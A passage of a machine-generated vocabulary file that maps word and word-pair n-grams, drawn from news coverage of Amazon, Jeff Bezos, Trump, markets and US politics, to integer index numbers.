"labo products": 59167, "conservationists fear": 59168, "deal finding": 59169, "night donald": 59170, "service shorten": 59171, "help secure": 59172, "trump official": 59173, "tensions noting": 59174, "sold cah": 59175, "uncovering details": 59176, "agricultural cooperatives": 59177, "offered place": 59178, "enlightenment": 59179, "somodevilla attorney": 59180, "border package": 59181, "newspaper currently": 59182, "released game": 59183, "andrew ross": 59184, "trump prosecutors": 59185, "technique": 59186, "sparkly watch": 59187, "achieving dominant": 59188, "orleans airport": 59189, "space odyssey": 59190, "platforms new": 59191, "recommends eliminating": 59192, "think ami": 59193, "vice dean": 59194, "scrapping plans": 59195, "freedom caucus": 59196, "kurtenbach sent": 59197, "margins stand": 59198, "jlraqsdevf": 59199, "month saying": 59200, "kawas speaking": 59201, "becker saying": 59202, "business colbert": 59203, "soured bay": 59204, "county offered": 59205, "value plunge": 59206, "photo sharing": 59207, "meet customer": 59208, "state education": 59209, "economies": 59210, "wife caroline": 59211, "messages included": 59212, "goldstein": 59213, "creation donut": 59214, "countries ask": 59215, "bullying foundation": 59216, "cloud virginia": 59217, "alleviate": 59218, "focussing": 59219, "creative commons": 59220, "markets right": 59221, "garry mccarthy": 59222, "cnn erin": 59223, "flipping light": 59224, "862 shares": 59225, "information age": 59226, "bezos revelations": 59227, "131 million": 59228, "479 million": 59229, "service announced": 59230, "gaining close": 59231, "outlet lost": 59232, "jurist pen": 59233, "directors held": 59234, "ideological brothers": 59235, "teach students": 59236, "billlion discrepancy": 59237, "politicians talk": 59238, "reserved": 59239, "negative stock": 59240, "413": 59241, "property accumulated": 59242, "president offer": 59243, "vote sent": 59244, "updates contain": 59245, "aug shares": 59246, "trump thought": 59247, "national secrets": 59248, "harriman marc": 59249, "famously": 59250, "rural mississippi": 59251, "person announced": 59252, "business discovered": 59253, "marketwatchers don": 59254, "far reaching": 59255, "creating scholarships": 59256, "actual merchandise": 59257, "net tax": 59258, "rubio team": 59259, "holiday airs": 59260, "nation finances": 59261, "management consultant": 59262, "employment paperwork": 59263, "digital goodies": 59264, "imaging corp": 59265, "super optimistic": 59266, "ryan murphy": 59267, "market suggests": 59268, "editors send": 59269, "declare emergency": 59270, "sister adalynn": 59271, "including french": 59272, "makes ton": 59273, "big cities": 59274, "concrete evidence": 59275, "satan costume": 59276, "including wal": 59277, "absurdist": 59278, "julie hirschfeld": 59279, "110 decibels": 59280, "sabrina spellman": 59281, "800 mark": 59282, "staff": 59283, "plan says": 59284, "physician": 59285, "amazon reveal": 59286, "source told": 59287, "gmt mexican": 59288, "practices rubenstein": 59289, "stretchy": 59290, "shape yellow": 59291, "amzn old": 59292, "healing 600": 59293, "kids forget": 59294, "published erotic": 59295, "trafficking ring": 59296, "tow truck": 59297, "bigger claws": 59298, "party scenes": 59299, "internet sellers": 59300, "language gems": 59301, "complete destruction": 59302, "post anthony": 59303, "help bring": 59304, "week ebay": 59305, "2018 live": 59306, "foiaonline": 59307, "discovered online": 59308, "mirroring": 59309, "incorrectly named": 59310, "favoring amazon": 59311, "photo shoot": 59312, "named betty": 59313, "concerned homegamers": 59314, "pushing hard": 59315, "time crushing": 59316, "williamson mackenzie": 59317, "new cargo": 59318, "receive bulk": 59319, "kalb": 59320, "amanda hess": 59321, "playbook playbook": 59322, "adding 000": 59323, "states barred": 59324, "amazons board": 59325, "ugly": 59326, "labs played": 59327, "site forms": 59328, "maur\u00edcio": 59329, "seriously sanders": 59330, "gassner": 59331, "baby boys": 59332, "camel illustrator": 59333, "fenner 2019": 59334, "montreal botanical": 59335, "attend rally": 59336, "coffee according": 59337, "shows sits": 59338, "eleanor stanford": 59339, "rosenblatt securities": 59340, "military pay": 59341, "guggenheim investments": 59342, "growth 51554475796": 59343, "potential hazards": 59344, "political agenda": 59345, "1014801031325241344": 59346, "months feel": 59347, "cracked market": 59348, "manhunt": 59349, "riz ahmed": 59350, "najarian family": 59351, "property stanford": 59352, "valley giants": 59353, "yorkers": 59354, "studiously": 59355, "indirectly creating": 59356, "ab": 59357, "billion annual": 59358, "new aquatics": 59359, "learning model": 59360, "167": 59361, "lift bro": 59362, "crackdown union": 59363, "sims foto": 59364, "prices areprimarily": 59365, "hamilton mom": 59366, "identify suspects": 59367, "bloomberg parscale": 59368, "skeptics": 59369, "kilogram": 59370, "week instead": 59371, "ad giants": 59372, "signed amazon": 59373, "defenseless": 59374, "mum releasing": 59375, "plan divorces": 59376, "asian leaders": 59377, "despite advertising": 59378, "stories news": 59379, "month reportedbezos": 59380, "paid directly": 59381, "review new": 59382, "jorge rafael": 59383, "limiting free": 59384, "charges jussie": 59385, "related medical": 59386, "enormous economic": 59387, "warehouses president": 59388, "underwriting standards": 59389, "phones sundar": 59390, "offer charlie": 59391, "contained text": 59392, "mid 1970s": 59393, "measure instructs": 59394, "puts competitive": 59395, "serial bomber": 59396, "coolest fucking": 59397, "saying trans": 59398, "seeking refuge": 59399, "week state": 59400, "television program": 59401, "newfoundland": 59402, "platter": 59403, "indicted witches": 59404, "walmart decision": 59405, "balzac famously": 59406, "politicians wanting": 59407, "customers code": 59408, "week making": 59409, "revenue based": 59410, "possible sales": 59411, "republic published": 59412, "john podesta": 59413, "weisz dispatches": 59414, "jen kirby": 59415, "reporting income": 59416, "despite comments": 59417, "low information": 59418, "higher beer": 59419, "leave plan": 59420, "exclusive": 59421, "scroll": 59422, "china spies": 59423, "worn strategy": 59424, "shadowy links": 59425, "optimistic": 59426, "adjustments": 59427, "sends": 59428, "publishers musicians": 59429, "rights protections": 59430, "star power": 59431, "economy according": 59432, "makers offset": 59433, "board audit": 59434, "rearview": 59435, "criminal illegal": 59436, "brisk ad": 59437, "showed strong": 59438, "achieve profitability": 59439, "gains read": 59440, "saving measure": 59441, "southerner": 59442, "j1 getattribute": 59443, "registered investment": 59444, "die travel": 59445, "home duty": 59446, "products remain": 59447, "finance financial": 59448, "hub": 59449, "attends luncheon": 59450, "kareem abdul": 59451, "nisha gopalan": 59452, "wyoming congressional": 59453, "tctvoice": 59454, "news develops": 59455, "mueller needs": 59456, "swing prices": 59457, "uk release": 59458, "futures pointing": 59459, "materials sector": 59460, "adam houldsworth": 59461, "soured amazon": 59462, "hughes emails": 59463, "community foundation": 59464, "open job": 59465, "quarter haverty": 59466, "stock worth": 59467, "harbouring": 59468, "imagemodels": 59469, "steam read": 59470, "delete user": 59471, "farms violated": 59472, "financial policies": 59473, "actually used": 59474, "117 million": 59475, "driver good": 59476, "little amazon": 59477, "turned lobbyist": 59478, "losses amounted": 59479, "increment financing": 59480, "relations summit": 59481, "higher premarket": 59482, "cloud 2017": 59483, "amazon swift": 59484, "looked cool": 59485, "elevation": 59486, "sheet metal": 59487, "department shipping": 59488, "albany politics": 59489, "maddow revisits": 59490, "recovering": 59491, "religious bigot": 59492, "extraordinary effort": 59493, "maile": 59494, "repeatedly interrupted": 59495, "charm executive": 59496, "kill unfavorable": 59497, "announced bipartisan": 59498, "tech story": 59499, "eyebrows snl": 59500, "employment opportunities": 59501, "brands good": 59502, "stelac advisory": 59503, "guarantor": 59504, "helpful tips": 59505, "widespread impact": 59506, "scale amplifies": 59507, "millionaires": 59508, "letters editor": 59509, "louis": 59510, "covering city": 59511, "progressing": 59512, "lending embedded": 59513, "week award": 59514, "traditional role": 59515, "point muckerman": 59516, "defend migrants": 59517, "000 highly": 59518, "buy items": 59519, "michael calhoun": 59520, "individuals control": 59521, "villainous": 59522, "years stories": 59523, "industrial average": 59524, "derangement": 59525, "amazon brick": 59526, "movement prosecutors": 59527, "chain means": 59528, "political contention": 59529, "backstory starts": 59530, "major metropolitan": 59531, "credit politico": 59532, "holzer businesswire": 59533, "illegal conduct": 59534, "popped": 59535, "company promised": 59536, "matrix asset": 59537, "things dangerous": 59538, "jelbfr2gxx": 59539, "gm formulated": 59540, "huh moser": 59541, "f6 a4ee": 59542, "special council": 59543, "proposal sanders": 59544, "morning trump": 59545, "stock early": 59546, "publisher katharine": 59547, "scooped": 59548, "bing exclusive": 59549, "fbi books": 59550, "story tech": 59551, "law requiring": 59552, "tweaking revenue": 59553, "echoes recent": 59554, "story best": 59555, "ntia": 59556, "customs enforcement": 59557, "available secure": 59558, "amazon major": 59559, "following cardi": 59560, "2016 don": 59561, "employees hickman": 59562, "international news": 59563, "government proposed": 59564, "base inches": 59565, "bronx home": 59566, "intc": 59567, "counsel robert": 59568, "suspecting hack": 59569, "search requests": 59570, "increased bust": 59571, "members lobbying": 59572, "established delivery": 59573, "selloff started": 59574, "giant invests": 59575, "book deals": 59576, "prosecuting white": 59577, "critical mission": 59578, "movie distributor": 59579, "term threats": 59580, "suggested general": 59581, "growth hasn": 59582, "dna just": 59583, "company 2018": 59584, "business remains": 59585, "investigation requires": 59586, "article connect": 59587, "ages socio": 59588, "store surveillance": 59589, "twitter execs": 59590, "assembling": 59591, "script bs_link": 59592, "george allen": 59593, "lamented": 59594, "german luxury": 59595, "tore children": 59596, "complicated personal": 59597, "science translates": 59598, "carabiner": 59599, "disinterested observer": 59600, "kitcheniq knife": 59601, "police department": 59602, "2018q4 sec": 59603, "amazon regularly": 59604, "soho space": 59605, "aggregate": 59606, "personal publicist": 59607, "willie geist": 59608, "inadequate worker": 59609, "business opportunity": 59610, "recording kyrsten": 59611, "football consumers": 59612, "establish delivery": 59613, "symantec confirms": 59614, "growing homelessness": 59615, "giant quarterly": 59616, "deepening political": 59617, "intermediate public": 59618, "van cruising": 59619, "hold 236": 59620, "annoys sanders": 59621, "guerrilla comrades": 59622, "guaranteed support": 59623, "primarily used": 59624, "service minutes": 59625, "adam raymond": 59626, "ourcountry": 59627, "uniquely devastating": 59628, "wall duel": 59629, "family missed": 59630, "conduct business": 59631, "business index": 59632, "belt selfie": 59633, "facebook newsfeed": 59634, "bloomberg lp": 59635, "attempted plane": 59636, "abate approximately": 59637, "wedding narrated": 59638, "stepped foot": 59639, "territory photo": 59640, "suzanne jill": 59641, "academies fund": 59642, "bezos directly": 59643, "economic dynamism": 59644, "uber conservatives": 59645, "excessive taxation": 59646, "becker stated": 59647, "kkk products": 59648, "sent 030": 59649, "unemployment held": 59650, "bad pachter": 59651, "leveraging prime": 59652, "margins right": 59653, "media sanchez": 59654, "stories nonetheless": 59655, "investigated sales": 59656, "weak holiday": 59657, "inhabit significant": 59658, "targeted recently": 59659, "amazon feature": 59660, "city critics": 59661, "class giving": 59662, "ones saw": 59663, "lowered corporate": 59664, "litigative branch": 59665, "627 million": 59666, "donnald trump": 59667, "payment providers": 59668, "ecolab 1q": 59669, "temporary refugee": 59670, "moser laughs": 59671, "appearances": 59672, "engagement editor": 59673, "retrieve packages": 59674, "boycotting otyf": 59675, "things 125": 59676, "subsidises amazon": 59677, "quarter wraps": 59678, "olive boulevard": 59679, "acquired online": 59680, "bartiromo don": 59681, "alleged transgressions": 59682, "vaccine manufacturers": 59683, "negotiation obviously": 59684, "evidence msnbc": 59685, "vague statement": 59686, "sector smaller": 59687, "bogus": 59688, "jpgnews source": 59689, "seattle growth": 59690, "judson phillips": 59691, "don graham": 59692, "possible lease": 59693, "reportedly wanted": 59694, "funnel money": 59695, "similar problems": 59696, "ge says": 59697, "dozen trump": 59698, "currently living": 59699, "organization won": 59700, "currently shuttered": 59701, "nomura": 59702, "kathy hochul": 59703, "crowning": 59704, "sockslane": 59705, "ck pics": 59706, "demogorgon": 59707, "isn shy": 59708, "wing house": 59709, "media urging": 59710, "subsidizing helipad": 59711, "outlook": 59712, "seasons returns": 59713, "59m": 59714, "fourth estate": 59715, "ocean": 59716, "plhcf": 59717, "year following": 59718, "owner knows": 59719, "159": 59720, "socially progressive": 59721, "algebra critical": 59722, "trump realizes": 59723, "1542086192": 59724, "didier jacobs": 59725, "odd ig": 59726, "lofty expectations": 59727, "scandal nbc": 59728, "stories breaks": 59729, "trump company": 59730, "null contained": 59731, "albuquerque announced": 59732, "online versus": 59733, "president parliament": 59734, "karl asked": 59735, "delivers surging": 59736, "new enemies": 59737, "comment second": 59738, "rick klein": 59739, "lumps pro": 59740, "winning contracts": 59741, "porcelain": 59742, "protections obsolete": 59743, "threat regardless": 59744, "gun group": 59745, "financial power": 59746, "picturesque": 59747, "outlet noted": 59748, "masterclass online": 59749, "advertising agency": 59750, "decorated career": 59751, "organizations working": 59752, "avoid expressing": 59753, "refused comment": 59754, "collecting": 59755, "turkish crisis": 59756, "bleeding researchers": 59757, "hastens gentrification": 59758, "assures": 59759, "eve bounce": 59760, "won concede": 59761, "ami coo": 59762, "aj styles": 59763, "powered industry": 59764, "ahhhh": 59765, "men stars": 59766, "calvin coolidge": 59767, "reaching 176": 59768, "biggs joining": 59769, "herschel lowe": 59770, "chris coons": 59771, "securing": 59772, "shale explorer": 59773, "analytica data": 59774, "conspiracy theorists": 59775, "right pair": 59776, "corporate incentives": 59777, "just outside": 59778, "negotiate prices": 59779, "shen highlighted": 59780, "globenewswire published": 59781, "enforcement according": 59782, "waldemir barreto": 59783, "victims richard": 59784, "data company": 59785, "details duckworth": 59786, "borders dems": 59787, "investments amazon": 59788, "real unemployment": 59789, "ser reported": 59790, "platforms year": 59791, "portly": 59792, "new senator": 59793, "capture resources": 59794, "179 378": 59795, "critics thought": 59796, "starstruck looking": 59797, "helpers": 59798, "niche market": 59799, "theyll tell": 59800, "world bit": 59801, "appointment understand": 59802, "463": 59803, "bizarre coincidence": 59804, "having fun": 59805, "year rise": 59806, "retailer couldn": 59807, "successful foia": 59808, "applause johnson": 59809, "politician jimmy": 59810, "owns 729": 59811, "hearings": 59812, "post fact": 59813, "anthropomorphic": 59814, "access": 59815, "alansmurray alan": 59816, "invested heavily": 59817, "corsi source": 59818, "revenue going": 59819, "washington jim": 59820, "partially offset": 59821, "country told": 59822, "retelling": 59823, "ceo released": 59824, "telling stahl": 59825, "bls data": 59826, "doesn fund": 59827, "ceo josh": 59828, "coney": 59829, "blowing salary": 59830, "delivery methods": 59831, "klasell": 59832, "technologies nyse": 59833, "big payment": 59834, "international shipping": 59835, "alleged censoring": 59836, "ap navarro": 59837, "doesn help": 59838, "1950s naples": 59839, "means currently": 59840, "enters parliament": 59841, "willie horton": 59842, "presidential exploratory": 59843, "chloe": 59844, "goff": 59845, "says tech": 59846, "kimmel": 59847, "europe took": 59848, "people parents": 59849, "conformity control": 59850, "18th": 59851, "russia condemns": 59852, "known hosts": 59853, "cord cutters": 59854, "advil": 59855, "clinton carter": 59856, "bumped": 59857, "speech service": 59858, "inside thedemocratic": 59859, "curry favor": 59860, "mogul": 59861, "electronics gift": 59862, "closes higher": 59863, "mail screening": 59864, "correction upping": 59865, "elite company": 59866, "pay little": 59867, "oa a4ee": 59868, "investors blame": 59869, "technology research": 59870, "liao new": 59871, "unprecedented assault": 59872, "people mean": 59873, "heart failure": 59874, "sucking machine": 59875, "personally responded": 59876, "kristi": 59877, "including organized": 59878, "time spent": 59879, "kelly speaks": 59880, "anjani trivedi": 59881, "constructed entirely": 59882, "despite broad": 59883, "project fueling": 59884, "boe failed": 59885, "r4ee t5e": 59886, "unsubtly named": 59887, "big success": 59888, "summit little": 59889, "positive achievements": 59890, "plays key": 59891, "hyperlink": 59892, "palisade capital": 59893, "surmise lot": 59894, "335 million": 59895, "costly battle": 59896, "soared pushing": 59897, "hits": 59898, "bezos 2013": 59899, "birkenstock accused": 59900, "pratt radar": 59901, "seen record": 59902, "story trump": 59903, "recent fact": 59904, "wildly unethical": 59905, "ballot scandal": 59906, "called banks": 59907, "s8i": 59908, "customers names": 59909, "tech fascism": 59910, "nicole brown": 59911, "snow storm": 59912, "840 shares": 59913, "stocks rose": 59914, "acquisitions streamlining": 59915, "states missing": 59916, "sources report": 59917, "irrelevance": 59918, "american tobacco": 59919, "staged contest": 59920, "study miami": 59921, "key crossing": 59922, "seconds texas": 59923, "staver": 59924, "walter": 59925, "capital investment": 59926, "ads targeting": 59927, "hybrid drone": 59928, "bein sexy": 59929, "bodyguard american": 59930, "old interview": 59931, "returned": 59932, "contend": 59933, "glow": 59934, "attack st": 59935, "advanced robotics": 59936, "nice economy": 59937, "hit google": 59938, "cuomo announce": 59939, "platform backed": 59940, "hard working": 59941, "rgc": 59942, "faced legitimate": 59943, "political point": 59944, "mischief reported": 59945, "product strategy": 59946, "valley qanon": 59947, "mile osinski": 59948, "months long": 59949, "niantic": 59950, "hoenig capitalist": 59951, "action committee": 59952, "select service": 59953, "newman unhinged": 59954, "conspirator making": 59955, "boroughs": 59956, "dictator kim": 59957, "photos obtained": 59958, "customized": 59959, "proclaimed": 59960, "lahren fox": 59961, "retailers used": 59962, "phlx phlx": 59963, "polled": 59964, "terms don": 59965, "prolonged embarrassment": 59966, "agency prices": 59967, "increased 260": 59968, "soper": 59969, "barefoot contessa": 59970, "man earlier": 59971, "day plays": 59972, "margins heard": 59973, "1007 large": 59974, "drew large": 59975, "payment processors": 59976, "just happens": 59977, "billion budget": 59978, "drew houston": 59979, "becker gavin": 59980, "guidance setting": 59981, "loomed": 59982, "transport partner": 59983, "senate passed": 59984, "extra fees": 59985, "original concept": 59986, "prowrestling net": 59987, "hour beginning": 59988, "recently microsoft": 59989, "online retailers": 59990, "republican insurgent": 59991, "bolsonaro senator": 59992, "sell amazon": 59993, "offering incentives": 59994, "investigative journalism": 59995, "assist information": 59996, "settlement leaves": 59997, "stated vision": 59998, "1992 supreme": 59999, "law yesterday": 60000, "funders": 60001, "exploration plans": 60002, "synapse perkins": 60003, "deporting illegal": 60004, "wayfair stock": 60005, "billion software": 60006, "county fla": 60007, "politics justice": 60008, "female broadcast": 60009, "bull mountain": 60010, "continuously bashed": 60011, "doj follow": 60012, "neil lennon": 60013, "aside concerns": 60014, "theguardian": 60015, "metrocards": 60016, "pecking order": 60017, "reducer pills": 60018, "atlanta georgia": 60019, "popular newspaper": 60020, "1331804068": 60021, "mckelvey": 60022, "endowed": 60023, "pop businesses": 60024, "paying ecclestone": 60025, "anticipating": 60026, "added markets": 60027, "1962092244": 60028, "hyped new": 60029, "google negative": 60030, "sales force": 60031, "heterosexual women": 60032, "action documents": 60033, "amazon assigned": 60034, "post considered": 60035, "griffeth secretary": 60036, "slams stupid": 60037, "trump ordering": 60038, "makings": 60039, "figurine": 60040, "customers verification": 60041, "heiskell": 60042, "foreign cash": 60043, "schwartzman": 60044, "guide delivery": 60045, "testing site": 60046, "think congressman": 60047, "veterans interested": 60048, "mum death": 60049, "rights politics": 60050, "times nonfiction": 60051, "license threats": 60052, "circle parents": 60053, "begin investigating": 60054, "charlie rose": 60055, "planning investigations": 60056, "becker claim": 60057, "downgrades norfolk": 60058, "house shteyngart": 60059, "aegis capital": 60060, "watch tv": 60061, "seemingly stellar": 60062, "refn": 60063, "cheddar amazon": 60064, "say congressman": 60065, "public empowering": 60066, "mccain website": 60067, "nice deals": 60068, "thomas law": 60069, "iceberg threat": 60070, "sourcebelk": 60071, "justification states": 60072, "employees added": 60073, "namesake fashion": 60074, "mandated": 60075, "region related": 60076, "frej": 60077, "bone": 60078, "marketing materials": 60079, "stuff right": 60080, "communities jared": 60081, "pressures": 60082, "internalized": 60083, "thinking bezos": 60084, "gossip involved": 60085, "dan question": 60086, "israeli mossad": 60087, "respondents called": 60088, "sessions appears": 60089, "politics trade": 60090, "psycho": 60091, "reporter mike": 60092, "largest data": 60093, "revoking past": 60094, "delivery profits": 60095, "sen kevin": 60096, "mcdougall affair": 60097, "accountability recently": 60098, "learned valuable": 60099, "outside stratford": 60100, "company corporate": 60101, "embassy welcome": 60102, "williamson beverly": 60103, "1552": 60104, "home gadgets": 60105, "jeffrey shares": 60106, "montpelier state": 60107, "toronto mayor": 60108, "truck belching": 60109, "trump frustrated": 60110, "stands bezos": 60111, "wealthiest women": 60112, "states catching": 60113, "travel especially": 60114, "forming miscellaneous": 60115, "election countdown": 60116, "deadline delivering": 60117, "nonprofit humanitarian": 60118, "documents bezos": 60119, "recently rejected": 60120, "literally": 60121, "markets continue": 60122, "spending trumping": 60123, "paper version": 60124, "power grabs": 60125, "tabatabai sean": 60126, "netflix velvet": 60127, "usually criticized": 60128, "terror scare": 60129, "unprecedented success": 60130, "pyramid shown": 60131, "1014146196342898688": 60132, "buy sweater": 60133, "bulk pricing": 60134, "drew equal": 60135, "global mobile": 60136, "institute verify": 60137, "service plus": 60138, "amazon confronts": 60139, "vendors exceeded": 60140, "update dprk": 60141, "sparking": 60142, "prime branded": 60143, "t8 l8": 60144, "corp 8217": 60145, "similar fate": 60146, "jacinda": 60147, "seller scams": 60148, "severe weather": 60149, "previously argued": 60150, "images gathered": 60151, "actually senior": 60152, "undergone": 60153, "young turks": 60154, "times source": 60155, "kenneth rosen": 60156, "better opening": 60157, "switch echo": 60158, "unamazonian pace": 60159, "district attorney": 60160, "oxford": 60161, "spell using": 60162, "disputatious bunch": 60163, "founded": 60164, "research analysis": 60165, "assists law": 60166, "foot jail": 60167, "existing model": 60168, "inc_homepage_headline": 60169, "newsletter click": 60170, "restarts": 60171, "putin bristles": 60172, "mark henle": 60173, "nokia nyse": 60174, "senate puts": 60175, "english department": 60176, "price assessment": 60177, "telecom giants": 60178, "hamilton star": 60179, "mechanical license": 60180, "totalshtrump": 60181, "open pro": 60182, "banker": 60183, "commerce giant": 60184, "bezos faced": 60185, "year falsely": 60186, "frequently maligns": 60187, "center located": 60188, "abruptly canned": 60189, "remained near": 60190, "johnsons": 60191, "feuding": 60192, "face congress": 60193, "support accurate": 60194, "netflix cary": 60195, "taking bathroom": 60196, "documents malinowski": 60197, "proposal letter": 60198, "apparent chagrin": 60199, "guggenheim fellow": 60200, "significantly osinski": 60201, "democratic head": 60202, "boost 2018": 60203, "freelance": 60204, "kumar ceo": 60205, "\u014261 7million": 60206, "concrete step": 60207, "make amd": 60208, "dwight": 60209, "martin episode": 60210, "defended consumer": 60211, "model including": 60212, "billy bob": 60213, "virginia walk": 60214, "step google": 60215, "swamp rat": 60216, "flipping red": 60217, "guided coverup": 60218, "don george": 60219, "rizzi jeff": 60220, "linkedin seeking": 60221, "remove gender": 60222, "reassigned denver": 60223, "ratification": 60224, "foxbots": 60225, "utm_source twcnnp": 60226, "publications": 60227, "clinton florida": 60228, "brexit india": 60229, "relations think": 60230, "peek inside": 60231, "peter morici": 60232, "nicholas thompson": 60233, "author franz": 60234, "major silicon": 60235, "clear enron": 60236, "sewing": 60237, "immediately posting": 60238, "police raid": 60239, "delivery executed": 60240, "messages reportedly": 60241, "reid added": 60242, "meaning fake": 60243, "david dennis": 60244, "competition online": 60245, "measure entitled": 60246, "twitter appears": 60247, "media sources": 60248, "183 185": 60249, "passy shoppers": 60250, "pricing frankly": 60251, "hannukah dreidel": 60252, "deeply invested": 60253, "protested": 60254, "matt agorist": 60255, "cnet noted": 60256, "skipping bureaucratic": 60257, "federal regulators": 60258, "trump dislikes": 60259, "bank": 60260, "costco": 60261, "add workers": 60262, "modest": 60263, "committee funded": 60264, "finding deals": 60265, "leaner": 60266, "government policy": 60267, "hired jay": 60268, "project developer": 60269, "places strong": 60270, "rockets": 60271, "build data": 60272, "condemned trump": 60273, "remove homeland": 60274, "development process": 60275, "diminished threat": 60276, "offered sanders": 60277, "unlocking skill": 60278, "stake 102": 60279, "court headlineposttext": 60280, "glitches yes": 60281, "week house": 60282, "appliance companies": 60283, "movie 2018": 60284, "bear": 60285, "mightily impressed": 60286, "obesity": 60287, "europe protesting": 60288, "beck": 60289, "pad amazon": 60290, "offensive bacamontes": 60291, "beach voting": 60292, "100 things": 60293, "hubbard novella": 60294, "natl bankshares": 60295, "2020 candidate": 60296, "program ozs": 60297, "scotus ruling": 60298, "clicking": 60299, "hell kitchen": 60300, "blaming localand": 60301, "newer cast": 60302, "special guests": 60303, "ceremony photos": 60304, "mean breaking": 60305, "cto": 60306, "waterproof moisture": 60307, "amazon cave": 60308, "important role": 60309, "cardi": 60310, "began buying": 60311, "soars amazon": 60312, "democrats don": 60313, "st marys": 60314, "huge variety": 60315, "sacrifice chapter": 60316, "familiar targets": 60317, "famotidine acid": 60318, "vantage": 60319, "smug": 60320, "register": 60321, "crusade": 60322, "flak": 60323, "face detection": 60324, "media requests": 60325, "wedge issue": 60326, "beach read": 60327, "engaging local": 60328, "shopware walmart": 60329, "inc_copyeditedflag false": 60330, "antitrust doctrine": 60331, "2018 sanders": 60332, "alienation": 60333, "temperature work": 60334, "broad contract": 60335, "dispiriting follow": 60336, "forge": 60337, "business imperatives": 60338, "cnn evan": 60339, "sanders introducing": 60340, "920 134": 60341, "coffee maker": 60342, "traffic today": 60343, "500 following": 60344, "paulmanafort protest": 60345, "people attacking": 60346, "wittenstein": 60347, "dias habla": 60348, "akron mall": 60349, "happy avenatti": 60350, "oil accounted": 60351, "announced plans": 60352, "rendition": 60353, "independence dayand": 60354, "greenwich murder": 60355, "pretty obviously": 60356, "blackmailed prefer": 60357, "sanaa lathan": 60358, "katera": 60359, "saigon": 60360, "upping": 60361, "people wonder": 60362, "fright": 60363, "user identifying": 60364, "10k": 60365, "man jeff": 60366, "amid reports": 60367, "explanatory": 60368, "dates": 60369, "town geekwire": 60370, "walmart recently": 60371, "google asked": 60372, "possessed": 60373, "injustice johnson": 60374, "mcintosh": 60375, "corollary using": 60376, "tv photo": 60377, "building health": 60378, "stop selling": 60379, "loss making": 60380, "low fixed": 60381, "overseas ballots": 60382, "continuous control": 60383, "morgan mac": 60384, "romantically volatile": 60385, "natural prostrate": 60386, "percentages": 60387, "street greeting": 60388, "woe senate": 60389, "agencys": 60390, "navarro wrote": 60391, "infers": 60392, "china employees": 60393, "missed estimates": 60394, "manufacturing states": 60395, "aig freeing": 60396, "urgency house": 60397, "korean peninsula": 60398, "soon compounding": 60399, "amiira": 60400, "adjusting prices": 60401, "000 281": 60402, "criminal violation": 60403, "trump life": 60404, "content preacher": 60405, "amazon ny": 60406, "bit longer": 60407, "emergency actually": 60408, "helped clients": 60409, "dalvin brown": 60410, "favorite 90s": 60411, "extorting": 60412, "apparent fixation": 60413, "buffett berkshire": 60414, "greater sway": 60415, "dianaee": 60416, "high raw": 60417, "squirrel": 60418, "marine recruits": 60419, "role attempt": 60420, "leather trim": 60421, "combat readiness": 60422, "force including": 60423, "new dimension": 60424, "accuses tabloid": 60425, "publicly target": 60426, "lead roles": 60427, "d1a tostring": 60428, "cloud providers": 60429, "demon": 60430, "zuckerberg dropped": 60431, "requests military": 60432, "normal stuff": 60433, "suggested sending": 60434, "package service": 60435, "infant death": 60436, "company face": 60437, "psych amazon": 60438, "iraq shiite": 60439, "couple joint": 60440, "commonly": 60441, "zach cummins": 60442, "backstill": 60443, "jerry": 60444, "announced indictments": 60445, "tiny share": 60446, "final outcome": 60447, "doj talked": 60448, "australia national": 60449, "entire business": 60450, "amazon investing": 60451, "personal beef": 60452, "apple tightens": 60453, "observe moment": 60454, "relatives including": 60455, "george thinks": 60456, "dystopian tale": 60457, "employee political": 60458, "hurled": 60459, "new statistics": 60460, "gov george": 60461, "makes tv": 60462, "fed watchers": 60463, "paints": 60464, "terms ofan": 60465, "recognizes": 60466, "package mean": 60467, "year mayor": 60468, "assessed information": 60469, "anthony managing": 60470, "including alexandria": 60471, "mc hotstar": 60472, "recent brazilian": 60473, "state local": 60474, "swiftly": 60475, "stellar reporting": 60476, "midterms election": 60477, "hoping michelle": 60478, "del wrote": 60479, "754": 60480, "trump court": 60481, "mimic phone": 60482, "ami brands": 60483, "evan hansen": 60484, "mitsui": 60485, "love bit": 60486, "sherman palladino": 60487, "person bezos": 60488, "mas rica": 60489, "xo5kxqqirk nws": 60490, "clay": 60491, "michael bloomberg": 60492, "emergency funds": 60493, "creating conditions": 60494, "typing": 60495, "profitable overview": 60496, "fundstrat": 60497, "tappan": 60498, "talks chamber": 60499, "dismissal": 60500, "killer delayed": 60501, "business investment": 60502, "equally true": 60503, "netflix crazy": 60504, "america veterans": 60505, "representative highlighting": 60506, "rubenstein moved": 60507, "photographs obtained": 60508, "senators warren": 60509, "formal comment": 60510, "fling": 60511, "american institutional": 60512, "run susan": 60513, "quinones": 60514, "estate chris": 60515, "visit ami": 60516, "gainers": 60517, "distributing free": 60518, "man thing": 60519, "correctly pricing": 60520, "time magazine": 60521, "termination amazon": 60522, "homegamers": 60523, "framework convention": 60524, "paulson": 60525, "crux": 60526, "hour pardons": 60527, "business particularly": 60528, "kill deal": 60529, "media rhetoric": 60530, "techcalendar politicopro": 60531, "yes gayle": 60532, "break silence": 60533, "cyber": 60534, "ou": 60535, "tsunami emoji": 60536, "foto source": 60537, "partners local": 60538, "apco": 60539, "dispelling": 60540, "titled satanism": 60541, "major tom": 60542, "today twitter": 60543, "migrants seeking": 60544, "cardboard abuser": 60545, "bigger raise": 60546, "washingtonpost scam": 60547, "written statement": 60548, "singling kaminsky": 60549, "facebook platforms": 60550, "companies working": 60551, "shares strs": 60552, "euro structural": 60553, "report concludes": 60554, "fining america": 60555, "potentially anti": 60556, "trump favor": 60557, "theory says": 60558, "slate work": 60559, "francisco google": 60560, "number cruncher": 60561, "amazon customers": 60562, "pat garofolo": 60563, "ridicule": 60564, "possible amazon": 60565, "bad apples": 60566, "peace cross": 60567, "rates paid": 60568, "program government": 60569, "washington alleging": 60570, "headquarters food": 60571, "weeks accusing": 60572, "emily richmond": 60573, "web newswire": 60574, "future report": 60575, "madeline celeste": 60576, "acceptance speech": 60577, "quick sampling": 60578, "afghan": 60579, "nordlinger": 60580, "jeremy renner": 60581, "defense fund": 60582, "amazon causes": 60583, "strong families": 60584, "adam levy": 60585, "better know": 60586, "believe jeff": 60587, "2015 merger": 60588, "politics wall": 60589, "proof ace": 60590, "andre leon": 60591, "existent problem": 60592, "louisiana new": 60593, "media cooperation": 60594, "free access": 60595, "host compiles": 60596, "wunderman": 60597, "postal retirees": 60598, "amazing assortment": 60599, "hardware thinks": 60600, "paramour": 60601, "virginia democrats": 60602, "diarmaid": 60603, "defending trump": 